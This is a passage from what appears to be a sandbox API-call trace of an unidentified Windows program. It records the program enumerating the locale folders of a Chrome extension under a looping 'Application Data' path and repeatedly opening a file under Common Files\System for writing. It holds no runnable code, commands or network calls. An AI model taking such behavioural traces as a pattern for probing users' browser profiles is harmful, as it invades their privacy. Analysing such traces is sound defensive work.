hTemplateFile=0x0) returned 0x128 [0138.861] GetFileType (hFile=0x128) returned 0x1 [0138.861] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.862] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.862] GetLastError () returned 0x12 [0138.862] AreFileApisANSI () returned 1 [0138.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.862] GetFileType (hFile=0x128) returned 0x1 [0138.862] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.908] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.909] GetLastError () returned 0x12 [0138.909] AreFileApisANSI () returned 1 [0138.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.909] GetFileType (hFile=0x128) returned 0x1 [0138.909] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.909] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.909] GetLastError () returned 0x12 [0138.909] AreFileApisANSI () returned 1 [0138.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.909] GetFileType (hFile=0x128) returned 0x1 [0138.910] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.954] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.954] GetLastError () returned 0x12 [0138.954] AreFileApisANSI () returned 1 [0138.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.954] GetFileType (hFile=0x128) returned 0x1 [0138.955] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.955] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.955] GetLastError () returned 0x12 [0138.955] AreFileApisANSI () returned 1 [0138.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.955] GetFileType (hFile=0x128) returned 0x1 [0138.955] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.001] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.001] GetLastError () returned 0x12 [0139.002] AreFileApisANSI () returned 1 [0139.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.002] GetFileType (hFile=0x128) returned 0x1 [0139.002] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.002] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.002] GetLastError () returned 0x12 [0139.002] AreFileApisANSI () returned 1 [0139.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.002] GetFileType (hFile=0x128) returned 0x1 [0139.003] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.048] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.048] GetLastError () returned 0x12 [0139.048] AreFileApisANSI () returned 1 [0139.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.048] GetFileType (hFile=0x128) returned 0x1 [0139.049] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.049] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.049] GetLastError () returned 0x12 [0139.049] AreFileApisANSI () returned 1 [0139.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.049] GetFileType (hFile=0x128) returned 0x1 [0139.049] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.095] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.095] GetLastError () returned 0x12 [0139.095] AreFileApisANSI () returned 1 [0139.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.095] GetFileType (hFile=0x128) returned 0x1 [0139.095] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.096] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.096] GetLastError () returned 0x12 [0139.096] AreFileApisANSI () returned 1 [0139.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.096] GetFileType (hFile=0x128) returned 0x1 [0139.096] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.141] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.141] GetLastError () returned 0x12 [0139.141] AreFileApisANSI () returned 1 [0139.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.142] GetFileType (hFile=0x128) returned 0x1 [0139.142] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.142] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.142] GetLastError () returned 0x12 [0139.142] AreFileApisANSI () returned 1 [0139.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.142] GetFileType (hFile=0x128) returned 0x1 [0139.143] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.188] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.188] GetLastError () returned 0x12 [0139.188] AreFileApisANSI () returned 1 [0139.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.189] GetFileType (hFile=0x128) returned 0x1 [0139.189] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.189] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.189] GetLastError () returned 0x12 [0139.189] AreFileApisANSI () returned 1 [0139.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.189] GetFileType (hFile=0x128) returned 0x1 [0139.189] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.235] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.235] GetLastError () returned 0x12 [0139.235] AreFileApisANSI () returned 1 [0139.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.235] GetFileType (hFile=0x128) returned 0x1 [0139.236] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.236] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.236] GetLastError () returned 0x12 [0139.236] AreFileApisANSI () returned 1 [0139.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.236] GetFileType (hFile=0x128) returned 0x1 [0139.236] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.282] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.282] GetLastError () returned 0x12 [0139.282] AreFileApisANSI () returned 1 [0139.282] MultiByteToWideChar (in: 